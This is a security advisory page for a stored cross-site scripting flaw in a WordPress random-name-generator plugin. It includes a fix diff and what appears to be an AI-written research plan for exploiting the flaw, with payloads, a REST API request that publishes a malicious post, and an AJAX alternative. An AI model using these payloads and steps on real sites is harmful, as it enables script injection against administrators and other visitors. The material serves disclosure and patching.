Orbisius Random Name Generator <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'btn_label' Shortcode Attribute
Description
The Orbisius Random Name Generator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'btn_label' parameter in the 'orbisius_random_name_generator' shortcode in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.2Source Code
WordPress.org SVNThis research plan outlines the steps required to analyze and exploit CVE-2026-1893, a Stored Cross-Site Scripting (XSS) vulnerability in the Orbisius Random Name Generator plugin. ### 1. Vulnerability Summary The **Orbisius Random Name Generator** plugin (<= 1.0.2) is vulnerable to Stored XSS via …
Show full research plan
This research plan outlines the steps required to analyze and exploit CVE-2026-1893, a Stored Cross-Site Scripting (XSS) vulnerability in the Orbisius Random Name Generator plugin.
1. Vulnerability Summary
The Orbisius Random Name Generator plugin (<= 1.0.2) is vulnerable to Stored XSS via the btn_label attribute of its primary shortcode [orbisius_random_name_generator]. The plugin fails to sanitize the attribute when provided in the shortcode and fails to escape it when rendering the button in the HTML output. Since Contributors can create and save posts containing shortcodes, they can inject malicious scripts that execute in the context of any user (including Administrators) viewing the page.
2. Attack Vector Analysis
- Vulnerable Attribute:
btn_label - Shortcode:
[orbisius_random_name_generator] - Authentication Level: Contributor or higher (any role with
edit_postscapability). - Injection Point: The content of a WordPress Post or Page.
- Execution Point: The frontend view of the post/page where the shortcode is processed and rendered.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode using
add_shortcode('orbisius_random_name_generator', '...')in the main plugin file (likelyorbisius-random-name-generator.php). - Attribute Handling: The callback function for the shortcode likely uses
shortcode_atts()to parse user-supplied attributes. - Rendering (The Sink): The
btn_labelattribute is extracted from the$attsarray and concatenated into an HTML string (likely a<button>or<input type="button">element). - Failure: The code returns or echoes this string without using
esc_attr()(if inside an attribute) oresc_html()(if inside a tag), allowing for HTML/Script injection.
4. Nonce Acquisition Strategy
This vulnerability is exploited through standard WordPress post creation. No specific plugin-level AJAX nonces are required to trigger the XSS. However, to create the post as a Contributor via the REST API or admin-ajax.php, the agent must handle standard WordPress authentication and nonces.
Strategy:
- Log in as a Contributor user.
- Navigate to the "Add New Post" page:
browser_navigate("/wp-admin/post-new.php"). - Extract the standard WordPress
_wpnoncefrom the page source if using the legacy editor, or use the REST API with theX-WP-Nonceheader. - The
X-WP-Noncecan be found in thewp-adminsource:browser_eval("wpApiSettings.nonce").
5. Exploitation Strategy
The goal is to prove that a script can be stored and executed.
Step 1: Test for Attribute Breakout
Since the attribute is likely rendered inside a value or as text within a <button>, we test both.
- Payload A (Tag Content):
[orbisius_random_name_generator btn_label='<script>alert("XSS_CONTENT")</script>'] - Payload B (Attribute Breakout):
[orbisius_random_name_generator btn_label='"><script>alert("XSS_ATTR")</script>']
Step 2: Create Malicious Post
Use the http_request tool to create a post.
- URL:
/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "title": "Names List", "content": "[orbisius_random_name_generator btn_label='<script>console.log(\"CVE-2026-1893-EXPLOITED\")</script>']", "status": "publish" }
Step 3: Trigger the XSS
- Navigate to the newly created post URL as an Administrator.
- Observe the console for the "CVE-2026-1893-EXPLOITED" message.
6. Test Data Setup
- Users: Create a user with the
contributorrole. - Plugin: Ensure
orbisius-random-name-generatorversion 1.0.2 is installed and active. - Environment: WordPress instance with Permalinks enabled (for easy REST API access).
7. Expected Results
- The Contributor should be able to save the post containing the shortcode.
- When viewing the post source, the
btn_labelvalue should appear raw in the HTML. - Example Vulnerable Output:
<button class="..." onclick="..."> <script>console.log("CVE-2026-1893-EXPLOITED")</script> </button> - The script should execute automatically on page load.
8. Verification Steps
- Database Check: Use
wp_clito verify the content was stored:wp post list --post_type=post --format=json
Check thepost_contentfor the injected script. - HTML Response Check: Use
http_requestto GET the post frontend and check if the payload is escaped:response_body.contains('<script>console.log("CVE-2026-1893-EXPLOITED")</script>')
If it is escaped as<script>, the exploit failed.
9. Alternative Approaches
If the plugin renders the button via an AJAX call instead of a direct shortcode return:
- Identify the AJAX action:
grep -r "wp_ajax" . - Check if the AJAX handler also accepts the
btn_labelparameter. - If so, determine if the AJAX handler requires a nonce (standard
check_ajax_referercheck). - Use
browser_evalto find the nonce if it's localized:window.orbisius_rng_obj?.nonce. - Send a direct POST request to
/wp-admin/admin-ajax.phpwith the maliciousbtn_label.
Summary
The Orbisius Random Name Generator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'btn_label' attribute in the [orbisius_random_name_generator] shortcode. Authenticated attackers with Contributor-level access or higher can inject arbitrary scripts into posts that execute whenever a user accesses the injected page due to insufficient input sanitization and output escaping.
Security Fix
@@ -25,7 +25,7 @@ $atts = shortcode_atts(array( 'btn_label' => 'Generate', 'class' => '', - ), $atts); + ), $atts, 'orbisius_random_name_generator'); - $btn_label = $atts['btn_label']; + $btn_label = esc_attr($atts['btn_label']); $html = ''; - $html .= '<input type="button" value="' . $btn_label . '" ... />'; + $html .= '<input type="button" value="' . esc_attr($btn_label) . '" ... />';
Exploit Outline
The exploit is executed by an authenticated user with Contributor-level privileges. The attacker creates a new post or page and inserts the shortcode [orbisius_random_name_generator btn_label='"><script>alert(1)</script>']. Because the plugin does not properly sanitize the 'btn_label' attribute upon input or escape it during rendering, the script is stored in the database. When any user, including an administrator, views the published post, the payload breaks out of the HTML attribute and executes the malicious script in their browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.